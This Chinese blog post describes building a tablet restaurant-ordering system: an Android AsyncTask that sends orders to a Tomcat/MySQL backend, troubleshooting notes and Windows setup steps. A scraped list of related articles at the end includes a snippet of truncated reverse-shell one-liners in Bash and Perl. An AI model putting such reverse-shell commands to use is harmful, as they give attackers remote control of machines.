前言

想开发一个平板点餐系统,研究下陈江根大侠分享的一个很高水准的实例,只是个单机版无实用意义。

实现

本系统后台使用Mysql 数据库+Tomcat WEb服务器实现,Tomcat服务器采用Servlet机制处理App发来的消息,并执行消息的任务;另外采用XE2编程实现管理客户端,用来来处理订单打印、管理菜谱管理等。

app客户端为Android版本,编程工具Eclipse。

难点处理

1.一个订单发送到后台没问题多条怎么就不行了,哦,应该使用线程;

  1. /**异步任务:下单 2014-8-28
  2. *
  3. * @author 吴chunyuan *
  4. */
  5. private class XiadTask extends AsyncTask<String, Integer, String> {
  6. /**onPreExecute方法用于在执行后台任务前做一些UI操作 */
  7. @Override
  8. protected void onPreExecute() {
  9. Log.i(TAG, "onPreExecute() called");
  10. // MyUtil.showToast(OrderActivity.this, "数据上传...");
  11. // textView.setText("loading...");
  12. }
  13.  
  14. /**doInBackground方法内部执行后台任务,不可在此方法内修改UI*/
  15. @Override
  16. protected String doInBackground(String... params) {
  17. //totalText = (TextView) findViewById(R.id.total);
  18. //params[0]
  19. Log.i(TAG, "doInBackground(Params... params) called");
  20.  
  21. String replay ="0"; //定义为 count+"|"已成功下单编号1|2...
  22. try
  23. {
  24. if(mc == null){
  25. mc = new MyConnector(ServerIP, SERVER_PORT);
  26. }
  27. int count=mData.size();
  28.  
  29. int j=0;
  30. int NewcaiCount=0;//统计新菜数量 2014-8-28
  31. while( j < count){
  32. if(mData.get(j).getState()==0){
  33. NewcaiCount++;
  34. }
  35. j++;
  36. }
  37.  
  38. // replay = String.valueOf(count);
  39. int i=0;
  40. int bs=0;
  41. double Stotal=0.00; //金额
  42. while( i < count){
  43. // msg =菜名|ID|数量|价格|状态|
  44. //wxd_count=wxd_count+1;
  45.  
  46. if(mData.get(i).getState()==0){
  47. //算出金额
  48. Stotal=Stotal+Double.parseDouble( String.valueOf(mData.get(i).getPrice()) )*Double.parseDouble( String.valueOf(mData.get(i).getNum()) );
  49. // Double d = Double.parseDouble( s );
  50.  
  51. String GetData = mData.get(i).getName()
  52. +"|"+String.valueOf(mData.get(i).get_id())
  53. +"|"+String.valueOf(mData.get(i).getNum())
  54. + "|"+String.valueOf(mData.get(i).getPrice())
  55. // + "|"+String.valueOf(mData.get(i).getState())
  56. +"|"+ String.valueOf(mData.get(i).getRemark())
  57. +"|"+String.valueOf(mData.get(i).getMenuID())
  58. +"|"+table_no
  59. +"|"+String.valueOf(Stotal);
  60.  
  61. bs++;
  62. if ((i==count-1) || (bs==NewcaiCount)) {// 888 \999,做为后台是否修改ordertal tabletal 的判断。
  63. if (bs==1) bs=888; //最后一笔且只有1笔
  64. else bs=999;
  65. }
  66.  
  67. String [] sa=GetData.split("\\|");
  68. //Bs 记录标志
  69. String Bs=String.valueOf(bs) ;
  70.  
  71. //标志 菜名 数量 价格 备注 菜单ID 台号 金额
  72. String msg_out = "<#ADD_DINGD#>"+Bs+"|"+sa[0] +"|"+sa[1]+"|"+sa[2]+"|"+sa[3]+"|"+sa[4]+"|"+sa[5]+"|"+sa[6]+"|"+sa[7];
  73.  
  74. mc.dout.writeUTF(msg_out);//通知数据库增加订单
  75. mc.dout.flush();//2014-5-3增加否则无法收到返回信息
  76. // Thread.sleep(2000);//!防止客户端无法收到返回信息,出现异常退出
  77. //对应服务器数据库处理sql执行后返回消息后暂停1秒,?
  78.  
  79. String replay1=mc.din.readUTF()+"|"+sa[1];
  80.  
  81. if (replay1.startsWith("<#ADD_DINGD_SUCCESS#>")){
  82. replay=replay+"|"+sa[1];}
  83. }// end if getState()==0
  84. i++;
  85.  
  86. }
  87. return replay;
  88.  
  89. } catch (Exception e) {
  90. Log.e(TAG, e.getMessage());
  91.  
  92. }
  93. return null;
  94. }
  95.  
  96. /**onProgressUpdate方法用于更新进度信息 */
  97. @Override
  98. protected void onProgressUpdate(Integer... progresses) {
  99. Log.i(TAG, "onProgressUpdate(Progress... progresses) called");
  100. // MyUtil.showToast(OrderActivity.this,"第"+ progresses[0]+"个菜开始配送");
  101. // progressBar.setProgress(progresses[0]);
  102. // textView.setText("loading..." + progresses[0] + "%");
  103. //totalText.setText("ok");
  104. }
  105.  
  106. /**onPostExecute方法用于在执行完后台任务后更新UI,根据后台下单结果重新绑定前台订单 */
  107. @Override
  108. protected void onPostExecute(String result) {
  109. Log.i(TAG, "onPostExecute(Result result) called");
  110. String [] sa =result.split("\\|");
  111.  
  112. int count;
  113. count=sa.length;//取长度
  114. // count= Integer.valueOf(sa[0]);
  115. // MyUtil.showToast(OrderActivity.this, String.valueOf(count));
  116. for(int i=1; i<count; i++){
  117.  
  118. new OrderDetailManager(OrderActivity.this).updateState_new(0,1,Integer.parseInt(sa[i]));//第三参数为记录ID
  119. bindOrderDetails();
  120. }
  121.  
  122. MyUtil.showToast(OrderActivity.this, "下单完毕");
  123. button_order_submit.setEnabled(true);
  124.  
  125. }
  126.  
  127. //onCancelled方法用于在取消执行中的任务时更改UI
  128. @Override
  129. protected void onCancelled() {
  130. Log.i(TAG, "onCancelled() called");
  131. // textView.setText("cancelled");
  132. // progressBar.setProgress(0);
  133.  
  134. // execute.setEnabled(true);
  135. // cancel.setEnabled(false);
  136. }
  137. } /** end XiadTask*/

2.无wifi网络信号时怎么异常了,哦,提交前应检查网络(代码略);

3.无法更新UI界面,要使用AsyncTask(代码略);

4.菜的图片需要更新怎么办,从后台下载到本地资源文件更新;

5.客户买单结帐处理,后台管理程序处理订单打印、结帐...

6.客户买单后,怎么APP的数据没变,哦,查询时应根据后台数据更新本地数据.....

好了,系统可以交付使用了

app:(台桌订单信息、菜谱更新等功能)

1.登录界面

2.菜谱界面

订单明细

台桌查询界面

二、后台(WebJ2EE服务器、及delphi XE5编写的管理程序)

收银台及订单监控、打印

数据中心

安装

以win7 64机器为例

一、后台

1. 安装sdk ,jdk-8u45-windows-i586.exe(32位)

2. jdk: 环境变量设置

0.) JAVA_HOME jdk1.7.0_25
1.)path -> jdk1.7.0_25\bin;
2.)classpath
.;%Java_home%\jre\lib\rt.jar

3. TOMCAT:   设置环境变量设置

1.)TOMCAT_HOME  -》D:\apache-tomcat-6.0.37

2.)webapps 目录放置rmealserv.war

3.)bin目录运行startup.bat

4. 安装32位ODBC mysql-connector-odbc-5.2.6-win32

C:\Windows\SysWOW64\odbcad32.exe 设置odbc,rmealdb

5.安装Mysql 数据库(见本博客)

6. 登录http://127.0.0.1:8080/rmealserv 测试

(完)

平板点餐软件编程体会---记我的Android编程之路的更多相关文章

  1. 15_Python模块化编程_Python编程之路

    之前跟大家讲的是一些python的数据基础,从这篇文章开始,我们开始正式学习python的模块化编程 下面我们解释一下什么叫做模块 之前已经讲过怎么去定义一个方法,如果你是用python交互器(自带交 ...

  2. 中兴软件编程规范C/C++

    Q/ZX 深圳市中兴通讯股份有限公司企业标准 (设计技术标准) Q/ZX 04.302.1–2003      软件编程规范C/C++                               20 ...

  3. http://www.jb51.net/list/list_233_2.htm(导航: 首页 >> 软件编程 >> Android)

      日期:2015-04-24理解Android中Activity的方法回调 日期:2015-04-24Android获取手机通讯录.sim卡联系人及调用拨号界面方法 日期:2015-04-24And ...

  4. Atitit.互联网 软件编程 数据库方面 架构 大牛 牛人 attilax总结

    Atitit.互联网 软件编程 数据库方面 架构 大牛 牛人 attilax总结 Coolshell 称号.理论与c++ 阮一峰:: 理论高手与js高手 王银:理论高手 赵劼,网名老赵,c#高手 与理 ...

  5. php用什么软件编程

    准备好好学习学习PHP了吗?那么你首先应该考虑用什么开发工具(IDE).市面上有很多这类工具,收费的有,免费的也有,选择起来并不轻松. 如果你说PHP编程用基础的文本编辑软件就可以了,比如用记事本.是 ...

  6. hdl - 软件编程与硬件建模

    https://mp.weixin.qq.com/s/Y75I9e3s4fDPZuv-CyiNDA   介绍软件编程思维与硬件建模思维的不同与相似之处.   ​​   1. 软件编程思维   编程,意 ...

  7. C语言与MATLAB接口 编程与实例 李传军编着

    罗列一下以前自己学习C语言与MATLAB混编的笔记,顺便复习一遍. <C语言与MATLAB接口 编程与实例 李传军编着>(未看完,目前看到P106) 目录P4-8 ************ ...

  8. 停车场管理软件附带源代码 J2EE服务端+android客户端

    该源码是停车场管理软件附带源代码 J2EE服务端+android客户端,也是一套停车场管理车辆进出的管理软,喜欢的朋友可以看看吧. 应用的后台管理主要功能介绍:1  机构管理 ,机构有从属管理< ...

  9. 假防病毒软件从电脑移植到了 Android 平台

    以前有位女研究生点击网络钓鱼的链接.随即出现实时扫毒画面的方式,接着呈现了扫毒结果,跑出十余笔病毒数据,记录了被感染的计算机的具体位置,并提示她必须更新防病毒软件,而她在付费两千元后收到"防 ...

随机推荐

  1. web socket教程

    web socket是一种网络通信协议,很多网页应用中都会使用到它,比如聊天室,选票等等. 一.为什么需要WebSocket? HTTP是无连接(无连接的含义是限制每次连接只处理一个请求.服务器处理完 ...

  2. VR全景智慧城市,平台属于每个有创业梦想的人

    如果你还在人生十字路口迷茫,如果你还想你的人生有所成就,让你的人生有不一样的精彩,就来全景智慧城市平台共同打造属于自己的不同凡响的精彩人生吧! 抓住这个机遇,你就走在了 VR时代的前沿,时势造就英雄, ...

  3. elasticsearch系列(五)score

    概述 score在ES中有着很重要的作用,有了它才有了rank,是验证文档相关性的关键数据,score越大代表匹配到的文档相关性越大 官方解释 查询的时候可以用explain来展示score的计算过程 ...

  4. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  5. 产品经理必备工具-Axure(1)

    资源下载: Axure的中文官方下载地址:https://www.axure.com.cn/3510/ Axure汉化包:https://www.axure.com.cn/2616/ Axure元件库 ...

  6. Chapter 1:Introduction

    作者:桂. 时间:2017-05-24  08:06:45 主要是<Speech enhancement: theory and practice>的读书笔记,全部内容可以点击这里. 1. ...

  7. JSON字符串和JS对象

    JSON和JS对象 一 JSON是什么 JSON是基于文本的,轻量的,用于数据交换的,一种格式. 可以看到JSON的定义里面有很多的定语,现在就每个限定解释一下: 1. 基于文本 这里的意思是相对于哪 ...

  8. 一周一个小demo — 前端后台的交互实例

    这一周呢,本K在大神的指导下,完成了一个利用ajax与php文件上传处理相结合的一个留言板功能的小实例,下面就让本K来带大家瞅瞅如何实现这一种功能. 一.界面概览 首先我们来看一下这个小demo的具体 ...

  9. React + Redux + express+ antd 架构的认识

    在过去的两周里,我使用这套技术栈进行项目页面的开发.下面是我个人的对于项目的一些看法: 首先:是项目的调试,我深表压力很大,项目是使用fibber去抓包调试的,也不知道我们项目的负责人,怎么能的我在每 ...

  10. 如何在linux如何安装nginx服务器

    1.进入命令窗口: 2.进入nginx.org 网站 下载安装包nginx-1.8.0.tar.gz 3.进入下载的文件夹 4.加压下载的压缩包 tar  -zxvf nginx-1.8.0.tar. ...